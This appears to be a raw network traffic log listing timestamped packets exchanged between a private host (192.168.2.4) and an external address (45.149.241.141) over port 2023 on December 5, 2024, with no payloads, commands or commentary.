Dec 5, 2024 10:46:38.502573013 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.503544092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.503650904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.503695011 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.504712105 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.504725933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.504766941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.505747080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.505805016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.505861044 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.506597042 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.506737947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.506783009 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.507905960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.508004904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.508048058 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.509192944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.509294987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.509356976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.510504961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.510530949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.510588884 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.511828899 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.511857033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.511908054 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.512794971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.512916088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.512963057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.513830900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.514096975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.514141083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.515129089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.515192986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.515240908 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.515862942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.515947104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.515989065 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.536374092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.536446095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.536457062 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.536514997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.536569118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.536580086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.536612034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.586464882 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.680326939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.680524111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.680586100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.680737972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.681045055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.681092978 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.681987047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.682085037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.682133913 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.683178902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.683280945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.683336973 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.684276104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.684364080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.684413910 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.685703039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.685741901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.685777903 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.686947107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.687158108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.687201977 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.688308001 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.688371897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.688410997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.689429045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.689521074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.689616919 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.690478086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.690665960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.690710068 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.691812038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.691987991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.692029953 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.693038940 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.693145037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.693192005 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.694051027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.694143057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.694194078 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.695077896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.695102930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.695139885 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.696176052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.696191072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.696233988 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.697324038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.697424889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.697464943 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.698580027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.698728085 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.698770046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.699384928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.699568033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.699615955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.700844049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.700913906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.700958967 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.701906919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.701992989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.702035904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.703022003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.703183889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.703228951 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.704328060 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.704447031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.704482079 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.705451965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.705544949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.705591917 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.706674099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.706773043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.706814051 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.707885981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.708046913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.708089113 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.709484100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.709537029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.709582090 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.710520983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.710577965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.710618019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.711611032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.711899996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.711946964 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.712801933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.712862968 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.712904930 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.713752031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.713778973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.713816881 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.714956045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.715024948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.715068102 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.716068029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.716154099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.716198921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.717065096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.717137098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.717179060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.717973948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.718070030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.718113899 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.718997955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.719050884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.719090939 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.720000982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.720172882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.720217943 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.721290112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.721317053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.721360922 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.722476006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.722573996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.722619057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.723470926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.723525047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.723570108 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.724601030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.724658012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.724700928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.725609064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.725687981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.725728989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.726665974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.726735115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.726769924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.727684975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.727766037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.727803946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.728737116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.728849888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.728894949 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.729784966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.730005026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.730046034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.730930090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.731038094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.731086969 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.732064009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.732191086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.732232094 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.733230114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.733294964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.733339071 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.734354019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.734441042 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.734487057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.735512972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.735599995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.735645056 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.736599922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.736834049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.736865997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.737814903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.737915039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.737984896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.739022970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.739105940 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.739165068 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.740343094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.789583921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.872328997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.872400045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.872478008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.872781992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.872865915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.872909069 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.873990059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.874064922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.874114037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.875103951 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.875186920 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.875233889 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.876209974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.876333952 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.876377106 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.877362967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.877520084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.877566099 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.878635883 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.878750086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.878793955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.879898071 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.879972935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.880018950 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.880850077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.880930901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.880975008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.881930113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.882000923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.882045031 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.883100986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.883177042 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.883224964 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.884227037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.884339094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.884387970 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.885404110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.885524988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.885577917 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.886508942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.886601925 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.886651993 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.887626886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.887717962 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.887764931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.888794899 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.888917923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.888963938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.889996052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.890079021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.890125990 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.891055107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.891149044 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.891196012 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.892216921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.892291069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.892333984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.893315077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.893425941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.893471956 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.894526005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.894653082 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.894699097 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.895596981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.895706892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.895754099 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.896754026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.896836996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.896883965 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.897885084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.897975922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.898020983 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.899023056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.899136066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.899183035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.900187016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.900264025 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.900316000 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.901298046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.901443958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.901493073 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.902466059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.902543068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.902591944 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.903584957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.903704882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.903743982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.904731035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.904858112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.904903889 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.905846119 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.905976057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.906021118 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.907021999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.907166958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.907212019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.908251047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.908444881 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.908488989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.909270048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.909434080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.909481049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.910445929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.910548925 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.910598993 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.911623955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.911710978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.911755085 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.912905931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.912959099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.913003922 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.913865089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.914040089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.914083958 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.914953947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.915034056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.915080070 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.916131020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.916239977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.916285038 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.917282104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.917397976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.917439938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.918412924 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.918524981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.918559074 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.919843912 CET	2023	49738	45.149.241.141	192.168.2.4
